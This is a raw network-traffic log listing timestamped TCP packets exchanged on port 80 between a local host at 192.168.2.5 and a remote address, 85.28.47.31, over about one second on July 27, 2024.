Jul 27, 2024 12:01:15.917862892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.917891979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917939901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.917958021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.917990923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.918019056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.918070078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.918100119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.918152094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.918169022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.918219090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.918234110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.918287992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.918302059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.918334007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.918365955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.918418884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.918431997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.918467999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.918498993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.918554068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.918569088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.918605089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.918627024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.918680906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.918694019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.918726921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.918755054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.918807030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.918819904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.918855906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.918879032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.918927908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.918942928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.918993950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.919008970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.919058084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.919074059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.919127941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.919141054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.919177055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.919203043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.919253111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.919269085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.919317961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.919332981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.919384956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.919410944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.919464111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.919477940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.919508934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.919538975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.919594049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.919606924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.919644117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.919667006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.919719934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.919733047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.919770002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.919795990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.919845104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.919859886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.919914007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.919926882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.919979095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.920006037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.920054913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.920070887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.920118093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.920134068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.920186996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.920200109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.920232058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.920257092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.920305967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.920321941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.920375109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.920387983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.920424938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.920447111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.920521021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.920552015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.920605898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.920619965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.920653105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.920681000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.920728922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.920744896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.920793056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.920809031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.920857906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.920874119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.920927048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.920942068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.920991898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921006918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921058893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921072006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921108007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921133041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921185970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921197891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921231985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921256065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921304941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921319962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921369076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921384096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921436071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921448946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921484947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921509027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921561003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921574116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921610117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921633005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921685934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921699047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921735048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921760082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921808004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921823025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921871901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921886921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921938896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.921956062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.921987057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.009479046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.009583950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.009643078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.009691954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.009738922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.009809017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.009825945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.009825945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.009825945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.009860992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.009898901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.009953976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.009968996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.010004997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.010031939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.010082006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.010097027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.010150909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.010164022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.010200977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.010226011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.010278940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.010292053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.010328054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.010354042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.010406971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.010420084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.010457039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.010479927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.010529041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.010545015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.010592937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.010644913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.010700941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.010714054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.010745049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.010776043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.010828018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.010840893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.010871887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.010900974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.010967016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.010982037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.011018991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.011068106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.011121035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.011147976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.011198997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.011214972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.011269093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.011281967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.011317968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.011358976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.011404037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.011425018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.011456966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.011487007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.011539936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.011553049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.011590958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.011612892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.011667967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.011729002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.011782885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.011795998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.011830091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.011857033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.011904001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.011920929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.011966944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.011986971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.012032986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.012053013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.012098074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.012115955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.012168884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.012181997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.012218952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.012240887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.012294054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.012306929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.012341976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.012382984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.012437105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.012450933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.012525082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.012552023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.012609005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.012634039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.012687922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.012717009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.012753963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.012819052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.012873888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.012887955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.012926102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.012950897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013004065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.013024092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013079882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.013107061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013159990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013173103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.013204098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.013232946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013282061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.013298988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013353109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013365984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.013403893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.013427973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013480902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013494015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.013530016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.013555050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013607979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013624907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.013665915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.013689041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013741016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013755083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.013792038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.013818026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013865948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.013923883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013979912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.013993979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014030933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014053106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.014101982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014118910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.014172077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.014184952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014221907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014247894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.014301062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.014313936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014352083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014374971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.014420033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.014441013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014473915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014501095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.014552116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014566898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.014620066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.014632940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014669895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014693975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.014748096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.014761925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014799118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014818907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.014869928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.014883995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014919996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.014945984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015010118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.015058041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015104055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015124083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.015163898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.015182018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015234947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015248060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.015281916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.015307903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015361071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015373945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.015405893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.015434980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015487909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015501022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.015539885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.015563011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015619040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015630960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.015669107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.015692949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015738010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015758038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.015794992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.015819073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015872002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015886068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.015918016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.015945911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.015994072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.016010046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.016062975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.016077042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.016117096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.016170025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.016215086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.016236067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.016268969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.016297102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.016350985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.016362906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.016398907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.016423941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.016477108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.016510963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.016554117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.016594887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.016649008 CEST	80	49704	85.28.47.31	192.168.2.5
